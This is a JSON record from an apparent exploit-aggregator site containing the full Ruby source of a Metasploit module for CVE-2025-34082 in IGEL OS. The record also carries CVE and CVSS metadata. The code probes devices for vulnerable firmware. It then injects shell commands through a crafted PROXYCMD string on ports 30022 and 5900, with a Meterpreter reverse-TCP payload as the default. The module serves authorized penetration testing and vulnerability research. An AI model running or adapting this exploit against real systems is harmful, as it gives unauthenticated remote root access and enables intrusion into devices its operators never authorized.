{"exploit":{"id":"MSF-linux--misc--igel_command_injection","name":"IGEL OS Secure VNC/Terminal Command Injection RCE","description":"This module exploits a command injection vulnerability in IGEL OS Secure Terminal and Secure Shadow services. Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.","cves":["CVE-2025-34082"],"author":"Rob Vinson, James Brytan, James Smith, Marisa Mack, Sergey Pashevkin, Steven Laura","published":"2021-02-25","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/misc/igel_command_injection.rb","path":"modules/exploits/linux/misc/igel_command_injection.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"igel_command_injection.rb","vulnerabilities":[{"id":"CVE-2025-34082","state":"PUBLISHED","title":"IGEL OS Secure Terminal and Secure Shadow Remote Code Execution","titleSource":"CVE Program","description":"A command injection vulnerability exists in IGEL OS versions prior to 11.04.270 within the Secure Terminal and Secure Shadow services. The flaw arises due to improper input sanitization in the handling of specially crafted PROXYCMD commands on TCP ports 30022 and 5900. An unauthenticated attacker with network access to a vulnerable device can inject arbitrary commands, leading to remote code execution with elevated privileges. NOTE: IGEL OS v10.x has reached end-of-life (EOL) status.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34082","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34082"},"updatedAt":"2026-05-14T02:07:33.032Z","retrievedAt":"2026-11-26T02:00:52.687Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--misc--igel_command_injection.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--misc--igel_command_injection","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--misc--igel_command_injection/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--misc--igel_command_injection/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::Udp\n  include Msf::Exploit::Remote::Tcp\n  include Msf::Exploit::CmdStager\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',\n        'Description' => %q{\n          This module exploits a command injection vulnerability in IGEL OS Secure Terminal\n          and Secure Shadow services.\n\n          Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure\n          Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Rob Vinson',         # Discovery\n          'James Brytan',       # Research and testing\n          'James Smith',        # Research and testing\n          'Marisa Mack',        # Research and testing\n          'Sergey Pashevkin',   # Research and testing\n          'Steven Laura'        # Research and testing\n        ],\n        'References' => [\n          [ 'CVE', '2025-34082' ],\n          [ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],\n          [ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]\n        ],\n        'Targets' => [\n          [\n            'Secure Terminal Service',\n            {\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :cmd,\n              'Platform' => 'linux',\n              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }\n            }\n          ],\n          [\n            'Secure Shadow Service',\n            {\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :cmd,\n              'Platform' => 'linux',\n              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }\n            }\n          ],\n        ],\n        'Privileged' => true,\n        'DisclosureDate' => '2021-02-25',\n        'CmdStagerFlavor' => ['printf'],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'PrependFork' => true\n        },\n        'Notes' => {\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [CRASH_SAFE]\n        }\n      )\n    )\n\n    register_advanced_options(\n      [\n        # must enable SSL\n        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),\n      ]\n    )\n  end\n\n  def check\n    probe = '<igel_scan></igel_scan>'\n\n    connect_udp(true, 'RPORT' => 30005)\n    udp_sock.put(probe)\n    res = udp_sock.timed_recvfrom(65535, 0.5)\n    disconnect_udp\n\n    unless res && res[0]\n      return Exploit::CheckCode::Unknown('No response received from IGEL OS discovery probe on UDP port 30005')\n    end\n\n    probe_response = res[0]\n    matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)\n    unless matches\n      return Exploit::CheckCode::Unknown('IGEL OS firmware version not found in discovery probe response')\n    end\n\n    version = matches.captures[0]\n    vprint_status(\"IGEL OS Version: #{version}\")\n    version = Rex::Version.new(version)\n\n    if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')\n      return Exploit::CheckCode::Appears(\"IGEL OS version #{version} is in the vulnerable 10.x range (< 10.06.220)\")\n    elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')\n      return Exploit::CheckCode::Safe(\"IGEL OS version #{version} is in the patched 11.03.620+ range\")\n    elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')\n      return Exploit::CheckCode::Appears(\"IGEL OS version #{version} is in the vulnerable 11.x range (< 11.04.270)\")\n    end\n\n    return Exploit::CheckCode::Safe(\"IGEL OS version #{version} is not in a known vulnerable range\")\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"executing: #{cmd}\")\n    connect\n    sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c \"#{cmd}\";false))\n  ensure\n    disconnect\n  end\n\n  def exploit\n    execute_cmdstager(linemax: 150, noconcat: true, delay: 2)\n  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e\n    fail_with(Failure::Unreachable, \"Failed executing payload with error #{e}.\")\n  end\n\nend\n","sha256":"74812da831c7ff3113877b670bf472f3f81798664e713f953a957d701fe8d52c","bytes":4670,"fetchedAt":"2026-11-26T14:08:26.199Z","encoding":"utf-8 (display only; download retains original bytes)"}